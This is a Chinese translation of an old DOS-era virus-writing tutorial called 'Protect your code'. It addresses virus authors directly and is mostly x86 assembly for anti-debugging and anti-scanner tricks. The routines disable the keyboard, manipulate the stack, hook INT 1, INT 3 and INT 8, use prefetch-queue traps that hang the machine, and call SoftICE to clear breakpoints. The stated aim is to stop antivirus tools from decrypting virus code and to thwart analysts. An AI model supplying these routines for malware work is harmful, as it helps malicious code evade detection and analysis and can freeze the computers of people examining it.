【保护你的代码】
~~~~~~~~~~~~~~
这个话题在业界是一个很热门的话题。许多病毒编写者保护它们的代码是为了使病毒查杀工具更困难。当然,我们我们还要讨论反调试的方法。有许多众所周知的技术...但是,在这里能看到是一件很好的事情...你说呢?
关于这个,有很多可能的方法。它们许多都是可配置的。你也可以利用传统的方法。我认为应该至少要放一个例程到你的多态引擎中(在长-例程表里,如Wintermute的Zohra病毒)来欺骗病毒查杀工具,防止它们对我们的代码解密。出发喽!
一个非常有用的东西是释放键盘。当我们释放键盘时,调试器使用者就不能再跟踪了(在TD里F7)。如果使用者正常运行一个程序...没问题。只要一个int 3(断点)将会做其它事了。它是一个非常简单的东西却做得很好!让我们看看一些代码:
bye_keyb:
in al,21h ; Let's deactivate keyboard
or al,02h ; Try to press any key...
out 21h,al
fuck_int3:
int 3h ; Breakpoint
exit_adbg:
in al,21h ; Let's activate keyboard
and al,not 2 ; keyb works now
out 21h,al ; cool :)
这是一个很好得方法。只要你会做...当我们的病毒正在运行时不时地释放键盘将会:使得差劲地使用者很惊奇,不允许他按该死的^C,所有你想做的将会成功。真的时非常有用而简单的事情。
另一个方法是对堆栈做些手脚。许多反调试工具就是用的这个古老而简单的方法。利用这个方法,你可以做你想做的任何事情。下面给出:
do_shit_stack:
neg sp
neg sp
简单吧,哈哈?你也可以使用NOT而不使用NEG,同样的结果。
tons_of_shit:
not sp
not sp
NEG有什么用呢?它把寄存器加1然后对结果进行NEG操作。但是它是一个非常老的花招了...你可以用它,但是最好用其它的方法吧,对于厉害的调试器如S-ICE就不一定有效了。但是如果你使用一个多态引擎你就添上如下的代码,那么病毒查杀工具在解密你的病毒的时候就会受挫了。呵呵...你能使用的另外一个方法是使堆栈溢出:
overflower:
mov ax,sp
mov sp,00h
pop bx
mov sp,ax
当然啦...还有更多呢。另外一个经典的方法是钩住INT 1 和/或 INT 3。你有许多方法来做这个。好了,我再介绍几个方法:
change_int1_and_int3_using_dos:
mov ax,2501h ; AL = INT to hook
lea dx,newint ; Take care if we need
int 21h ; ?offset, by adding it... ok?
mov al,03h
int 21h
[...]
newint:
jmp $
iret ; Why if don't used? hehehe :)
这个例程能被一个TSR监视程序发现。我建议你使用下面的方法。通过直接操作实现钩子:
int1:
xor ax,ax ; Let's try to put an IRET in INT 1
mov es,ax ; We need ES = 0. IVT is in 0000:0000
mov word ptr es:[1h*4],0FEEBh ; a jmp $
int3:
xor ax,ax
mov es,ax
mov word ptr es:[3h*4],0FEEBh ; a jmp $
如果你不想使计算机挂机,把0FEEBh代替为0CF90h(一个nop和iret指令[当然要把顺序颠倒过来啦])。
你能想到的很酷的主意是是int 3指向int 21,然后你就可以使用这个中断而不使用int 21了。这样有两个好处:欺骗调试器和优化你的代码...为什么优化你的代码呢?因为int 21指令的代码是CD 21(占两个字节),而int 3仅仅是CC...
记住int 3是调试器的一个断点,所以每次你调用int 3,调试器就会停止:)下面给出代码:
getint21:
mov ax,3521h ; Get interrupt vectors
int 21h
mov word ptr [int21_ofs],bx
mov word ptr [int21_seg],es
mov ax,2503h
lea dx,jumptoint21
int 21h
[...]
jumptoint21 db 0EAh
int21 equ this dword
int21_ofs dw 0000h
int21_seg dw 0000h
我们还可以比较堆栈为了知道我们是否正在被调试。下面给出例子:
stack_compares:
push ax
pop ax
dec sp
dec sp
pop bx
cmp ax,bx
jz exit_adbg ; not debugged
jmp $ ; hang computers is cool ;)
exit_adbg:
记住,如果需要,先使断点无效(cli),后使断点有效(sti)。是的,还有更多的方法来保护我们的代码。但是,嗨!它们太老了,它们有效!看看下面的一个方法...我很喜欢这个方法。看看下面的代码:
prefetch:
mov word ptr cs:fake,0FEEBh ; Why do you think this made
fake: jmp nekst ; if debugged? Yes, hang PC!
nekst: ; Continue with your code here
你还可以利用prefetch做更多的事情。你还可以跳到一个程序或者设置一个hlt指令(也能挂机)...无论你想要什么,如下:
prefetch_fun:
mov word ptr cs:fake2,04CB4h
fake2: jmp bye_fake
int 21h
bye_fake:
这段代码将会终止程序的执行,现在一段特殊的为SoftIce准备的例程(最好的调试器也被骗过了)。
更多的代码:
soft_ice_fun:
mov ax,0911h ; Soft-ice function for exec. command
mov di,4647h ; DI = "FG"
mov si,4A4Eh ; SI = "JM"
lea dx,soft_ice_fuck ; Yeah
int 03h ; Int for breakpoints
soft_ice_fuck db "bc *",10,0
另外一个花招是钩住int 8,并在那里放置一个比较我们驻留内存代码里的一个变量,因为许多调试器会释放所有的中断除了int 8之外。int 8 指令在一秒之内能执行18.2次。我建议你在钩住它之前保存就的句柄。你想看代码吗?下面给出:
save_old_int8_handler: ; You remember 40-hex magazine?
mov ax,3508h ; This routine is from issue #7
int 21h
mov word ptr [int8_ofs],bx
mov word ptr [int8_seg],es
push bx es
mov ah,25h ; Put int 8 handler
lea dx,virii
int 21h
fuckin_loop:
cmp fuckvar,1 ; This will cause a little delay
jnz fuckin_loop
pop ds ds
int 21h
mov ax,4C00h
int 21h
fuckvar db 0
int8 equ this dword
int8_ofs dw 0000h
int8_seg dw 0000h
program:
; bla bla bla
mov fuckvar,1
; more and more bla
jmp dword ptr [int8]
记住Demogorgon的忠告:“没有保护的代码就是公开的”。
嗨!如果你需要得到偏移地址要小心点(如运行期<g>病毒),并加上它...ok?